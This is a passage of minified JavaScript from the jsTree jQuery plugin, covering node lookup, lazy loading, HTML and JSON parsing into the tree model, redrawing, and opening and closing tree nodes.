.jstree-anchor").focus()}},this)).on("mouseenter.jstree",".jstree-anchor",n.proxy(function(n){this.hover_node(n.currentTarget)},this)).on("mouseleave.jstree",".jstree-anchor",n.proxy(function(n){this.dehover_node(n.currentTarget)},this))},unbind:function(){this.element.off(".jstree");n(i).off(".jstree-"+this._id)},trigger:function(n,t){t||(t={});t.instance=this;this.element.triggerHandler(n.replace(".jstree","")+".jstree",t)},get_container:function(){return this.element},get_container_ul:function(){return this.element.children(".jstree-children").first()},get_string:function(t){var i=this.settings.core.strings;return n.isFunction(i)?i.call(this,t):i&&i[t]?i[t]:t},_firstChild:function(n){for(n=n?n.firstChild:null;null!==n&&1!==n.nodeType;)n=n.nextSibling;return n},_nextSibling:function(n){for(n=n?n.nextSibling:null;null!==n&&1!==n.nodeType;)n=n.nextSibling;return n},_previousSibling:function(n){for(n=n?n.previousSibling:null;null!==n&&1!==n.nodeType;)n=n.previousSibling;return n},get_node:function(t,i){t&&t.id&&(t=t.id);t instanceof jQuery&&t.length&&t[0].id&&(t=t[0].id);var r;try{if(this._model.data[t])t=this._model.data[t];else if("string"==typeof t&&this._model.data[t.replace(/^#/,"")])t=this._model.data[t.replace(/^#/,"")];else if("string"==typeof t&&(r=n("#"+t.replace(n.jstree.idregex,"\\$&"),this.element)).length&&this._model.data[r.closest(".jstree-node").attr("id")])t=this._model.data[r.closest(".jstree-node").attr("id")];else if((r=this.element.find(t)).length&&this._model.data[r.closest(".jstree-node").attr("id")])t=this._model.data[r.closest(".jstree-node").attr("id")];else{if(!(r=this.element.find(t)).length||!r.hasClass("jstree"))return!1;t=this._model.data[n.jstree.root]}return i&&(t=t.id===n.jstree.root?this.element:n("#"+t.id.replace(n.jstree.idregex,"\\$&"),this.element)),t}catch(u){return!1}},get_path:function(t,i,r){if(t=t.parents?t:this.get_node(t),!t||t.id===n.jstree.root||!t.parents)return!1;var f,e,u=[];for(u.push(r?t.id:t.text),f=0,e=t.parents.length;e>f;f++)u.push(r?t.parents[f]:this.get_text(t.parents[f]));return u=u.reverse().slice(1),i?u.join(i):u},get_next_dom:function(t,i){var r;if(t=this.get_node(t,!0),t[0]===this.element[0]){for(r=this._firstChild(this.get_container_ul()[0]);r&&0===r.offsetHeight;)r=this._nextSibling(r);return r?n(r):!1}if(!t||!t.length)return!1;if(i){r=t[0];do r=this._nextSibling(r);while(r&&0===r.offsetHeight);return r?n(r):!1}if(t.hasClass("jstree-open")){for(r=this._firstChild(t.children(".jstree-children")[0]);r&&0===r.offsetHeight;)r=this._nextSibling(r);if(null!==r)return n(r)}r=t[0];do r=this._nextSibling(r);while(r&&0===r.offsetHeight);return null!==r?n(r):t.parentsUntil(".jstree",".jstree-node").nextAll(".jstree-node:visible").first()},get_prev_dom:function(t,i){var r;if(t=this.get_node(t,!0),t[0]===this.element[0]){for(r=this.get_container_ul()[0].lastChild;r&&0===r.offsetHeight;)r=this._previousSibling(r);return r?n(r):!1}if(!t||!t.length)return!1;if(i){r=t[0];do r=this._previousSibling(r);while(r&&0===r.offsetHeight);return r?n(r):!1}r=t[0];do r=this._previousSibling(r);while(r&&0===r.offsetHeight);if(null!==r){for(t=n(r);t.hasClass("jstree-open");)t=t.children(".jstree-children").first().children(".jstree-node:visible:last");return t}return r=t[0].parentNode.parentNode,r&&r.className&&-1!==r.className.indexOf("jstree-node")?n(r):!1},get_parent:function(t){return t=this.get_node(t),t&&t.id!==n.jstree.root?t.parent:!1},get_children_dom:function(n){return n=this.get_node(n,!0),n[0]===this.element[0]?this.get_container_ul().children(".jstree-node"):n&&n.length?n.children(".jstree-children").children(".jstree-node"):!1},is_parent:function(n){return n=this.get_node(n),n&&(n.state.loaded===!1||n.children.length>0)},is_loaded:function(n){return n=this.get_node(n),n&&n.state.loaded},is_loading:function(n){return n=this.get_node(n),n&&n.state&&n.state.loading},is_open:function(n){return n=this.get_node(n),n&&n.state.opened},is_closed:function(n){return n=this.get_node(n),n&&this.is_parent(n)&&!n.state.opened},is_leaf:function(n){return!this.is_parent(n)},load_node:function(t,i){var r,e,u,o,f;if(n.isArray(t))return this._load_nodes(t.slice(),i),!0;if(t=this.get_node(t),!t)return i&&i.call(this,t,!1),!1;if(t.state.loaded){for(t.state.loaded=!1,u=0,o=t.parents.length;o>u;u++)this._model.data[t.parents[u]].children_d=n.vakata.array_filter(this._model.data[t.parents[u]].children_d,function(i){return-1===n.inArray(i,t.children_d)});for(r=0,e=t.children_d.length;e>r;r++)this._model.data[t.children_d[r]].state.selected&&(f=!0),delete this._model.data[t.children_d[r]];f&&(this._data.core.selected=n.vakata.array_filter(this._data.core.selected,function(i){return-1===n.inArray(i,t.children_d)}));t.children=[];t.children_d=[];f&&this.trigger("changed",{action:"load_node",node:t,selected:this._data.core.selected})}return t.state.failed=!1,t.state.loading=!0,this.get_node(t,!0).addClass("jstree-loading").attr("aria-busy",!0),this._load_node(t,n.proxy(function(n){t=this._model.data[t.id];t.state.loading=!1;t.state.loaded=n;t.state.failed=!t.state.loaded;for(var r=this.get_node(t,!0),u=0,f=0,e=this._model.data,o=!1,u=0,f=t.children.length;f>u;u++)if(e[t.children[u]]&&!e[t.children[u]].state.hidden){o=!0;break}t.state.loaded&&r&&r.length&&(r.removeClass("jstree-closed jstree-open jstree-leaf"),o?"#"!==t.id&&r.addClass(t.state.opened?"jstree-open":"jstree-closed"):r.addClass("jstree-leaf"));r.removeClass("jstree-loading").attr("aria-busy",!1);this.trigger("load_node",{node:t,status:n});i&&i.call(this,t,n)},this)),!0},_load_nodes:function(n,t,i,r){for(var o=!0,h=function(){this._load_nodes(n,t,!0)},f=this._model.data,s=[],u=0,e=n.length;e>u;u++)!f[n[u]]||(f[n[u]].state.loaded||f[n[u]].state.failed)&&(i||!r)||(this.is_loading(n[u])||this.load_node(n[u],h),o=!1);if(o){for(u=0,e=n.length;e>u;u++)f[n[u]]&&f[n[u]].state.loaded&&s.push(n[u]);t&&!t.done&&(t.call(this,s),t.done=!0)}},load_all:function(t,i){if(t||(t=n.jstree.root),t=this.get_node(t),!t)return!1;var f=[],e=this._model.data,u=e[t.id].children_d,r,o;for(t.state&&!t.state.loaded&&f.push(t.id),r=0,o=u.length;o>r;r++)e[u[r]]&&e[u[r]].state&&!e[u[r]].state.loaded&&f.push(u[r]);f.length?this._load_nodes(f,function(){this.load_all(t,i)}):(i&&i.call(this,t),this.trigger("load_all",{node:t}))},_load_node:function(t,i){var r=this.settings.core.data,f,u=function(){return 3!==this.nodeType&&8!==this.nodeType};return r?n.isFunction(r)?r.call(this,t,n.proxy(function(r){r===!1?i.call(this,!1):this["string"==typeof r?"_append_html_data":"_append_json_data"](t,"string"==typeof r?n(n.parseHTML(r)).filter(u):r,function(n){i.call(this,n)})},this)):"object"==typeof r?r.url?(r=n.extend(!0,{},r),n.isFunction(r.url)&&(r.url=r.url.call(this,t)),n.isFunction(r.data)&&(r.data=r.data.call(this,t)),n.ajax(r).done(n.proxy(function(r,f,e){var o=e.getResponseHeader("Content-Type");return o&&-1!==o.indexOf("json")||"object"==typeof r?this._append_json_data(t,r,function(n){i.call(this,n)}):o&&-1!==o.indexOf("html")||"string"==typeof r?this._append_html_data(t,n(n.parseHTML(r)).filter(u),function(n){i.call(this,n)}):(this._data.core.last_error={error:"ajax",plugin:"core",id:"core_04",reason:"Could not load node",data:JSON.stringify({id:t.id,xhr:e})},this.settings.core.error.call(this,this._data.core.last_error),i.call(this,!1))},this)).fail(n.proxy(function(n){this._data.core.last_error={error:"ajax",plugin:"core",id:"core_04",reason:"Could not load node",data:JSON.stringify({id:t.id,xhr:n})};i.call(this,!1);this.settings.core.error.call(this,this._data.core.last_error)},this))):(f=n.isArray(r)?n.extend(!0,[],r):n.isPlainObject(r)?n.extend(!0,{},r):r,t.id===n.jstree.root?this._append_json_data(t,f,function(n){i.call(this,n)}):(this._data.core.last_error={error:"nodata",plugin:"core",id:"core_05",reason:"Could not load node",data:JSON.stringify({id:t.id})},this.settings.core.error.call(this,this._data.core.last_error),i.call(this,!1))):"string"==typeof r?t.id===n.jstree.root?this._append_html_data(t,n(n.parseHTML(r)).filter(u),function(n){i.call(this,n)}):(this._data.core.last_error={error:"nodata",plugin:"core",id:"core_06",reason:"Could not load node",data:JSON.stringify({id:t.id})},this.settings.core.error.call(this,this._data.core.last_error),i.call(this,!1)):i.call(this,!1):t.id===n.jstree.root?this._append_html_data(t,this._data.core.original_container_html.clone(!0),function(n){i.call(this,n)}):i.call(this,!1)},_node_changed:function(t){t=this.get_node(t);t&&-1===n.inArray(t.id,this._model.changed)&&this._model.changed.push(t.id)},_append_html_data:function(t,i,r){t=this.get_node(t);t.children=[];t.children_d=[];var a=i.is("ul")?i.children():i,o=t.id,c=[],u=[],s=this._model.data,f=s[o],v=this._data.core.selected.length,e,h,l;for(a.each(n.proxy(function(t,i){e=this._parse_model_from_html(n(i),o,f.parents.concat());e&&(c.push(e),u.push(e),s[e].children_d.length&&(u=u.concat(s[e].children_d)))},this)),f.children=c,f.children_d=u,h=0,l=f.parents.length;l>h;h++)s[f.parents[h]].children_d=s[f.parents[h]].children_d.concat(u);this.trigger("model",{nodes:u,parent:o});o!==n.jstree.root?(this._node_changed(o),this.redraw()):(this.get_container_ul().children(".jstree-initial-node").remove(),this.redraw(!0));this._data.core.selected.length!==v&&this.trigger("changed",{action:"model",selected:this._data.core.selected});r.call(this,!0)},_append_json_data:function(t,i,r,u){if(null!==this.element){t=this.get_node(t);t.children=[];t.children_d=[];i.d&&(i=i.d,"string"==typeof i&&(i=JSON.parse(i)));n.isArray(i)||(i=[i]);var f=null,e={df:this._model.default_state,dat:i,par:t.id,m:this._model.data,t_id:this._id,t_cnt:this._cnt,sel:this._data.core.selected},o=function(n,t){n.data&&(n=n.data);var u=n.dat,c=n.par,y=[],o=[],l=[],h=n.df,k=n.t_id,v=n.t_cnt,r=n.m,f=r[c],p=n.sel,s,i,e,a,w=function(n,i,u){u=u?u.concat():[];i&&u.unshift(i);var c=n.id.toString(),e,a,o,s,f={id:c,text:n.text||"",icon:n.icon!==t?n.icon:!0,parent:i,parents:u,children:n.children||[],children_d:n.children_d||[],data:n.data,state:{},li_attr:{id:!1},a_attr:{href:"#"},original:!1};for(e in h)h.hasOwnProperty(e)&&(f.state[e]=h[e]);if(n&&n.data&&n.data.jstree&&n.data.jstree.icon&&(f.icon=n.data.jstree.icon),(f.icon===t||null===f.icon||""===f.icon)&&(f.icon=!0),n&&n.data&&(f.data=n.data,n.data.jstree))for(e in n.data.jstree)n.data.jstree.hasOwnProperty(e)&&(f.state[e]=n.data.jstree[e]);if(n&&"object"==typeof n.state)for(e in n.state)n.state.hasOwnProperty(e)&&(f.state[e]=n.state[e]);if(n&&"object"==typeof n.li_attr)for(e in n.li_attr)n.li_attr.hasOwnProperty(e)&&(f.li_attr[e]=n.li_attr[e]);if(f.li_attr.id||(f.li_attr.id=c),n&&"object"==typeof n.a_attr)for(e in n.a_attr)n.a_attr.hasOwnProperty(e)&&(f.a_attr[e]=n.a_attr[e]);for(n&&n.children&&n.children===!0&&(f.state.loaded=!1,f.children=[],f.children_d=[]),r[f.id]=f,e=0,a=f.children.length;a>e;e++)o=w(r[f.children[e]],f.id,u),s=r[o],f.children_d.push(o),s.children_d.length&&(f.children_d=f.children_d.concat(s.children_d));return delete n.data,delete n.children,r[f.id].original=n,f.state.selected&&l.push(f.id),f.id},b=function(n,i,u){u=u?u.concat():[];i&&u.unshift(i);var o=!1,e,a,s,c,f;do o="j"+k+"_"+ ++v;while(r[o]);f={id:!1,text:"string"==typeof n?n:"",icon:"object"==typeof n&&n.icon!==t?n.icon:!0,parent:i,parents:u,children:[],children_d:[],data:null,state:{},li_attr:{id:!1},a_attr:{href:"#"},original:!1};for(e in h)h.hasOwnProperty(e)&&(f.state[e]=h[e]);if(n&&n.id&&(f.id=n.id.toString()),n&&n.text&&(f.text=n.text),n&&n.data&&n.data.jstree&&n.data.jstree.icon&&(f.icon=n.data.jstree.icon),(f.icon===t||null===f.icon||""===f.icon)&&(f.icon=!0),n&&n.data&&(f.data=n.data,n.data.jstree))for(e in n.data.jstree)n.data.jstree.hasOwnProperty(e)&&(f.state[e]=n.data.jstree[e]);if(n&&"object"==typeof n.state)for(e in n.state)n.state.hasOwnProperty(e)&&(f.state[e]=n.state[e]);if(n&&"object"==typeof n.li_attr)for(e in n.li_attr)n.li_attr.hasOwnProperty(e)&&(f.li_attr[e]=n.li_attr[e]);if(f.li_attr.id&&!f.id&&(f.id=f.li_attr.id.toString()),f.id||(f.id=o),f.li_attr.id||(f.li_attr.id=f.id),n&&"object"==typeof n.a_attr)for(e in n.a_attr)n.a_attr.hasOwnProperty(e)&&(f.a_attr[e]=n.a_attr[e]);if(n&&n.children&&n.children.length){for(e=0,a=n.children.length;a>e;e++)s=b(n.children[e],f.id,u),c=r[s],f.children.push(s),c.children_d.length&&(f.children_d=f.children_d.concat(c.children_d));f.children_d=f.children_d.concat(f.children)}return n&&n.children&&n.children===!0&&(f.state.loaded=!1,f.children=[],f.children_d=[]),delete n.data,delete n.children,f.original=n,r[f.id]=f,f.state.selected&&l.push(f.id),f.id};if(u.length&&u[0].id!==t&&u[0].parent!==t){for(i=0,e=u.length;e>i;i++)u[i].children||(u[i].children=[]),u[i].state||(u[i].state={}),r[u[i].id.toString()]=u[i];for(i=0,e=u.length;e>i;i++)r[u[i].parent.toString()]?(r[u[i].parent.toString()].children.push(u[i].id.toString()),f.children_d.push(u[i].id.toString())):(this._data.core.last_error={error:"parse",plugin:"core",id:"core_07",reason:"Node with invalid parent",data:JSON.stringify({id:u[i].id.toString(),parent:u[i].parent.toString()})},this.settings.core.error.call(this,this._data.core.last_error));for(i=0,e=f.children.length;e>i;i++)s=w(r[f.children[i]],c,f.parents.concat()),o.push(s),r[s].children_d.length&&(o=o.concat(r[s].children_d));for(i=0,e=f.parents.length;e>i;i++)r[f.parents[i]].children_d=r[f.parents[i]].children_d.concat(o);a={cnt:v,mod:r,sel:p,par:c,dpc:o,add:l}}else{for(i=0,e=u.length;e>i;i++)s=b(u[i],c,f.parents.concat()),s&&(y.push(s),o.push(s),r[s].children_d.length&&(o=o.concat(r[s].children_d)));for(f.children=y,f.children_d=o,i=0,e=f.parents.length;e>i;i++)r[f.parents[i]].children_d=r[f.parents[i]].children_d.concat(o);a={cnt:v,mod:r,sel:p,par:c,dpc:o,add:l}}return"undefined"!=typeof window&&"undefined"!=typeof document?a:void postMessage(a)},s=function(t,i){var u,f;if(null!==this.element){this._cnt=t.cnt;f=this._model.data;for(u in f)f.hasOwnProperty(u)&&f[u].state&&f[u].state.loading&&t.mod[u]&&(t.mod[u].state.loading=!0);if(this._model.data=t.mod,i){var s,h=t.add,e=t.sel,o=this._data.core.selected.slice();if(f=this._model.data,e.length!==o.length||n.vakata.array_unique(e.concat(o)).length!==e.length){for(u=0,s=e.length;s>u;u++)-1===n.inArray(e[u],h)&&-1===n.inArray(e[u],o)&&(f[e[u]].state.selected=!1);for(u=0,s=o.length;s>u;u++)-1===n.inArray(o[u],e)&&(f[o[u]].state.selected=!0)}}t.add.length&&(this._data.core.selected=this._data.core.selected.concat(t.add));this.trigger("model",{nodes:t.dpc,parent:t.par});t.par!==n.jstree.root?(this._node_changed(t.par),this.redraw()):this.redraw(!0);t.add.length&&this.trigger("changed",{action:"model",selected:this._data.core.selected});r.call(this,!0)}};if(this.settings.core.worker&&window.Blob&&window.URL&&window.Worker)try{null===this._wrk&&(this._wrk=window.URL.createObjectURL(new window.Blob(["self.onmessage = "+o.toString()],{type:"text/javascript"})));!this._data.core.working||u?(this._data.core.working=!0,f=new window.Worker(this._wrk),f.onmessage=n.proxy(function(n){s.call(this,n.data,!0);try{f.terminate();f=null}catch(t){}this._data.core.worker_queue.length?this._append_json_data.apply(this,this._data.core.worker_queue.shift()):this._data.core.working=!1},this),e.par?f.postMessage(e):this._data.core.worker_queue.length?this._append_json_data.apply(this,this._data.core.worker_queue.shift()):this._data.core.working=!1):this._data.core.worker_queue.push([t,i,r,!0])}catch(h){s.call(this,o(e),!1);this._data.core.worker_queue.length?this._append_json_data.apply(this,this._data.core.worker_queue.shift()):this._data.core.working=!1}else s.call(this,o(e),!1)}},_parse_model_from_html:function(i,r,u){u=u?[].concat(u):[];r&&u.unshift(r);var s,h,l=this._model.data,f={id:!1,text:!1,icon:!0,parent:r,parents:u,children:[],children_d:[],data:null,state:{},li_attr:{id:!1},a_attr:{href:"#"},original:!1},o,e,c;for(o in this._model.default_state)this._model.default_state.hasOwnProperty(o)&&(f.state[o]=this._model.default_state[o]);if(e=n.vakata.attributes(i,!0),n.each(e,function(t,i){return i=n.trim(i),i.length?(f.li_attr[t]=i,void("id"===t&&(f.id=i.toString()))):!0}),e=i.children("a").first(),e.length&&(e=n.vakata.attributes(e,!0),n.each(e,function(t,i){i=n.trim(i);i.length&&(f.a_attr[t]=i)})),e=i.children("a").first().length?i.children("a").first().clone():i.clone(),e.children("ins, i, ul").remove(),e=e.html(),e=n("<div />").html(e),f.text=this.settings.core.force_text?e.text():e.html(),e=i.data(),f.data=e?n.extend(!0,{},e):null,f.state.opened=i.hasClass("jstree-open"),f.state.selected=i.children("a").hasClass("jstree-clicked"),f.state.disabled=i.children("a").hasClass("jstree-disabled"),f.data&&f.data.jstree)for(o in f.data.jstree)f.data.jstree.hasOwnProperty(o)&&(f.state[o]=f.data.jstree[o]);e=i.children("a").children(".jstree-themeicon");e.length&&(f.icon=e.hasClass("jstree-themeicon-hidden")?!1:e.attr("rel"));f.state.icon!==t&&(f.icon=f.state.icon);(f.icon===t||null===f.icon||""===f.icon)&&(f.icon=!0);e=i.children("ul").children("li");do c="j"+this._id+"_"+ ++this._cnt;while(l[c]);return f.id=f.li_attr.id?f.li_attr.id.toString():c,e.length?(e.each(n.proxy(function(t,i){s=this._parse_model_from_html(n(i),f.id,u);h=this._model.data[s];f.children.push(s);h.children_d.length&&(f.children_d=f.children_d.concat(h.children_d))},this)),f.children_d=f.children_d.concat(f.children)):i.hasClass("jstree-closed")&&(f.state.loaded=!1),f.li_attr["class"]&&(f.li_attr["class"]=f.li_attr["class"].replace("jstree-closed","").replace("jstree-open","")),f.a_attr["class"]&&(f.a_attr["class"]=f.a_attr["class"].replace("jstree-clicked","").replace("jstree-disabled","")),l[f.id]=f,f.state.selected&&this._data.core.selected.push(f.id),f.id},_parse_model_from_flat_json:function(n,i,r){r=r?r.concat():[];i&&r.unshift(i);var c=n.id.toString(),e=this._model.data,o=this._model.default_state,f,l,s,h,u={id:c,text:n.text||"",icon:n.icon!==t?n.icon:!0,parent:i,parents:r,children:n.children||[],children_d:n.children_d||[],data:n.data,state:{},li_attr:{id:!1},a_attr:{href:"#"},original:!1};for(f in o)o.hasOwnProperty(f)&&(u.state[f]=o[f]);if(n&&n.data&&n.data.jstree&&n.data.jstree.icon&&(u.icon=n.data.jstree.icon),(u.icon===t||null===u.icon||""===u.icon)&&(u.icon=!0),n&&n.data&&(u.data=n.data,n.data.jstree))for(f in n.data.jstree)n.data.jstree.hasOwnProperty(f)&&(u.state[f]=n.data.jstree[f]);if(n&&"object"==typeof n.state)for(f in n.state)n.state.hasOwnProperty(f)&&(u.state[f]=n.state[f]);if(n&&"object"==typeof n.li_attr)for(f in n.li_attr)n.li_attr.hasOwnProperty(f)&&(u.li_attr[f]=n.li_attr[f]);if(u.li_attr.id||(u.li_attr.id=c),n&&"object"==typeof n.a_attr)for(f in n.a_attr)n.a_attr.hasOwnProperty(f)&&(u.a_attr[f]=n.a_attr[f]);for(n&&n.children&&n.children===!0&&(u.state.loaded=!1,u.children=[],u.children_d=[]),e[u.id]=u,f=0,l=u.children.length;l>f;f++)s=this._parse_model_from_flat_json(e[u.children[f]],u.id,r),h=e[s],u.children_d.push(s),h.children_d.length&&(u.children_d=u.children_d.concat(h.children_d));return delete n.data,delete n.children,e[u.id].original=n,u.state.selected&&this._data.core.selected.push(u.id),u.id},_parse_model_from_json:function(n,i,r){r=r?r.concat():[];i&&r.unshift(i);var e=!1,f,l,o,s,h=this._model.data,c=this._model.default_state,u;do e="j"+this._id+"_"+ ++this._cnt;while(h[e]);u={id:!1,text:"string"==typeof n?n:"",icon:"object"==typeof n&&n.icon!==t?n.icon:!0,parent:i,parents:r,children:[],children_d:[],data:null,state:{},li_attr:{id:!1},a_attr:{href:"#"},original:!1};for(f in c)c.hasOwnProperty(f)&&(u.state[f]=c[f]);if(n&&n.id&&(u.id=n.id.toString()),n&&n.text&&(u.text=n.text),n&&n.data&&n.data.jstree&&n.data.jstree.icon&&(u.icon=n.data.jstree.icon),(u.icon===t||null===u.icon||""===u.icon)&&(u.icon=!0),n&&n.data&&(u.data=n.data,n.data.jstree))for(f in n.data.jstree)n.data.jstree.hasOwnProperty(f)&&(u.state[f]=n.data.jstree[f]);if(n&&"object"==typeof n.state)for(f in n.state)n.state.hasOwnProperty(f)&&(u.state[f]=n.state[f]);if(n&&"object"==typeof n.li_attr)for(f in n.li_attr)n.li_attr.hasOwnProperty(f)&&(u.li_attr[f]=n.li_attr[f]);if(u.li_attr.id&&!u.id&&(u.id=u.li_attr.id.toString()),u.id||(u.id=e),u.li_attr.id||(u.li_attr.id=u.id),n&&"object"==typeof n.a_attr)for(f in n.a_attr)n.a_attr.hasOwnProperty(f)&&(u.a_attr[f]=n.a_attr[f]);if(n&&n.children&&n.children.length){for(f=0,l=n.children.length;l>f;f++)o=this._parse_model_from_json(n.children[f],u.id,r),s=h[o],u.children.push(o),s.children_d.length&&(u.children_d=u.children_d.concat(s.children_d));u.children_d=u.children_d.concat(u.children)}return n&&n.children&&n.children===!0&&(u.state.loaded=!1,u.children=[],u.children_d=[]),delete n.data,delete n.children,u.original=n,h[u.id]=u,u.state.selected&&this._data.core.selected.push(u.id),u.id},_redraw:function(){for(var f=this._model.force_full_redraw?this._model.data[n.jstree.root].children.concat([]):this._model.changed.concat([]),r=i.createElement("UL"),t,o=this._data.core.focused,u=0,e=f.length;e>u;u++)t=this.redraw_node(f[u],!0,this._model.force_full_redraw),t&&this._model.force_full_redraw&&r.appendChild(t);this._model.force_full_redraw&&(r.className=this.get_container_ul()[0].className,r.setAttribute("role","group"),this.element.empty().append(r));null!==o&&this.settings.core.restore_focus&&(t=this.get_node(o,!0),t&&t.length&&t.children(".jstree-anchor")[0]!==i.activeElement?t.children(".jstree-anchor").focus():this._data.core.focused=null);this._model.force_full_redraw=!1;this._model.changed=[];this.trigger("redraw",{nodes:f})},redraw:function(n){n&&(this._model.force_full_redraw=!0);this._redraw()},draw_children:function(t){var r=this.get_node(t),f=!1,e=!1,u=!1,o=i;if(!r)return!1;if(r.id===n.jstree.root)return this.redraw(!0);if(t=this.get_node(t,!0),!t||!t.length)return!1;if(t.children(".jstree-children").remove(),t=t[0],r.children.length&&r.state.loaded){for(u=o.createElement("UL"),u.setAttribute("role","group"),u.className="jstree-children",f=0,e=r.children.length;e>f;f++)u.appendChild(this.redraw_node(r.children[f],!0,!0));t.appendChild(u)}},redraw_node:function(t,r,u,f){var e=this.get_node(t),s=!1,y=!1,w=!1,o=!1,h=!1,v=!1,c="",b=i,l=this._model.data,k=!1,a=null,d=0,g=0,nt=!1,p=!1;if(!e)return!1;if(e.id===n.jstree.root)return this.redraw(!0);if(r=r||0===e.children.length,t=i.querySelector?this.element[0].querySelector("#"+(-1!=="0123456789".indexOf(e.id[0])?"\\3"+e.id[0]+" "+e.id.substr(1).replace(n.jstree.idregex,"\\$&"):e.id.replace(n.jstree.idregex,"\\$&"))):i.getElementById(e.id))t=n(t),u||(s=t.parent().parent()[0],s===this.element[0]&&(s=null),y=t.index()),r||!e.children.length||t.children(".jstree-children").length||(r=!0),r||(w=t.children(".jstree-children")[0]),k=t.children(".jstree-anchor")[0]===i.activeElement,t.remove();else if(r=!0,!u){if(s=e.parent!==n.jstree.root?n("#"+e.parent.replace(n.jstree.idregex,"\\$&"),this.element)[0]:null,!(null===s||s&&l[e.parent].state.opened))return!1;y=n.inArray(e.id,null===s?l[n.jstree.root].children:l[e.parent].children)}t=this._data.core.node.cloneNode(!0);c="jstree-node ";for(o in e.li_attr)if(e.li_attr.hasOwnProperty(o)){if("id"===o)continue;"class"!==o?t.setAttribute(o,e.li_attr[o]):c+=e.li_attr[o]}for(e.a_attr.id||(e.a_attr.id=e.id+"_anchor"),t.setAttribute("aria-selected",!!e.state.selected),t.setAttribute("aria-level",e.parents.length),t.setAttribute("aria-labelledby",e.a_attr.id),e.state.disabled&&t.setAttribute("aria-disabled",!0),o=0,h=e.children.length;h>o;o++)if(!l[e.children[o]].state.hidden){nt=!0;break}if(null!==e.parent&&l[e.parent]&&!e.state.hidden&&(o=n.inArray(e.id,l[e.parent].children),p=e.id,-1!==o))for(o++,h=l[e.parent].children.length;h>o;o++)if(l[l[e.parent].children[o]].state.hidden||(p=l[e.parent].children[o]),p!==e.id)break;e.state.hidden&&(c+=" jstree-hidden");e.state.loading&&(c+=" jstree-loading");e.state.loaded&&!nt?c+=" jstree-leaf":(c+=e.state.opened&&e.state.loaded?" jstree-open":" jstree-closed",t.setAttribute("aria-expanded",e.state.opened&&e.state.loaded));p===e.id&&(c+=" jstree-last");t.id=e.id;t.className=c;c=(e.state.selected?" jstree-clicked":"")+(e.state.disabled?" jstree-disabled":"");for(h in e.a_attr)if(e.a_attr.hasOwnProperty(h)){if("href"===h&&"#"===e.a_attr[h])continue;"class"!==h?t.childNodes[1].setAttribute(h,e.a_attr[h]):c+=" "+e.a_attr[h]}if(c.length&&(t.childNodes[1].className="jstree-anchor "+c),(e.icon&&e.icon!==!0||e.icon===!1)&&(e.icon===!1?t.childNodes[1].childNodes[0].className+=" jstree-themeicon-hidden":-1===e.icon.indexOf("/")&&-1===e.icon.indexOf(".")?t.childNodes[1].childNodes[0].className+=" "+e.icon+" jstree-themeicon-custom":(t.childNodes[1].childNodes[0].style.backgroundImage='url("'+e.icon+'")',t.childNodes[1].childNodes[0].style.backgroundPosition="center center",t.childNodes[1].childNodes[0].style.backgroundSize="auto",t.childNodes[1].childNodes[0].className+=" jstree-themeicon-custom")),this.settings.core.force_text?t.childNodes[1].appendChild(b.createTextNode(e.text)):t.childNodes[1].innerHTML+=e.text,r&&e.children.length&&(e.state.opened||f)&&e.state.loaded){for(v=b.createElement("UL"),v.setAttribute("role","group"),v.className="jstree-children",o=0,h=e.children.length;h>o;o++)v.appendChild(this.redraw_node(e.children[o],r,!0));t.appendChild(v)}if(w&&t.appendChild(w),!u){for(s||(s=this.element[0]),o=0,h=s.childNodes.length;h>o;o++)if(s.childNodes[o]&&s.childNodes[o].className&&-1!==s.childNodes[o].className.indexOf("jstree-children")){a=s.childNodes[o];break}a||(a=b.createElement("UL"),a.setAttribute("role","group"),a.className="jstree-children",s.appendChild(a));s=a;y<s.childNodes.length?s.insertBefore(t,s.childNodes[y]):s.appendChild(t);k&&(d=this.element[0].scrollTop,g=this.element[0].scrollLeft,t.childNodes[1].focus(),this.element[0].scrollTop=d,this.element[0].scrollLeft=g)}return e.state.opened&&!e.state.loaded&&(e.state.opened=!1,setTimeout(n.proxy(function(){this.open_node(e.id,!1,0)},this),0)),t},open_node:function(i,r,u){var e,s,f,o;if(n.isArray(i)){for(i=i.slice(),e=0,s=i.length;s>e;e++)this.open_node(i[e],r,u);return!0}return i=this.get_node(i),i&&i.id!==n.jstree.root?(u=u===t?this.settings.core.animation:u,this.is_closed(i)?this.is_loaded(i)?(f=this.get_node(i,!0),o=this,f.length&&(u&&f.children(".jstree-children").length&&f.children(".jstree-children").stop(!0,!0),i.children.length&&!this._firstChild(f.children(".jstree-children")[0])&&this.draw_children(i),u?(this.trigger("before_open",{node:i}),f.children(".jstree-children").css("display","none").end().removeClass("jstree-closed").addClass("jstree-open").attr("aria-expanded",!0).children(".jstree-children").stop(!0,!0).slideDown(u,function(){this.style.display="";o.element&&o.trigger("after_open",{node:i})})):(this.trigger("before_open",{node:i}),f[0].className=f[0].className.replace("jstree-closed","jstree-open"),f[0].setAttribute("aria-expanded",!0))),i.state.opened=!0,r&&r.call(this,i,!0),f.length||this.trigger("before_open",{node:i}),this.trigger("open_node",{node:i}),u&&f.length||this.trigger("after_open",{node:i}),!0):this.is_loading(i)?setTimeout(n.proxy(function(){this.open_node(i,r,u)},this),500):void this.load_node(i,function(n,t){return t?this.open_node(n,r,u):r?r.call(this,n,!1):!1}):(r&&r.call(this,i,!1),!1)):!1},_open_to:function(t){if(t=this.get_node(t),!t||t.id===n.jstree.root)return!1;for(var u=t.parents,i=0,r=u.length;r>i;i+=1)i!==n.jstree.root&&this.open_node(u[i],!1,0);return n("#"+t.id.replace(n.jstree.idregex,"\\$&"),this.element)},close_node:function(i,r){var f,o,e,u;if(n.isArray(i)){for(i=i.slice(),f=0,o=i.length;o>f;f++)this.close_node(i[f],r);return!0}return i=this.get_node(i),i&&i.id!==n.jstree.root?this.is_closed(i)?!1:(r=r===t?this.settings.core.animation:r,e=this,u=this.get_node(i,!0),i.state.opened=!1,this.trigger("close_node",{node:i}),void(u.length?r?u.children(".jstree-children").attr("style","display:block !important").end().removeClass("jstree-open").addClass("jstree-closed").attr("aria-expanded",!1).children(".jstree-children").stop(!0,!0).slideUp(r,function(){this.style.display="";u.children(".jstree-children").remove();e.element&&e.trigger("after_close",{node:i})}):(u[0].className=u[0].className.replace("jstree-open","jstree-closed"),u.attr("aria-expanded",!1).children(".jstree-children").remove(),this.trigger("after_close",{node:i})):this.trigger("after_close",{node:i}))):!1},toggle_node:function(t){var i,r;if(n.isArray(t)){for(t=t.slice(),i=0,r=t.length;r>i;i++)this.toggle_node(t[i]);return!0}return this.is_closed(t)?this.open_node(t):this.is_open(t)?this.close_node(t):void 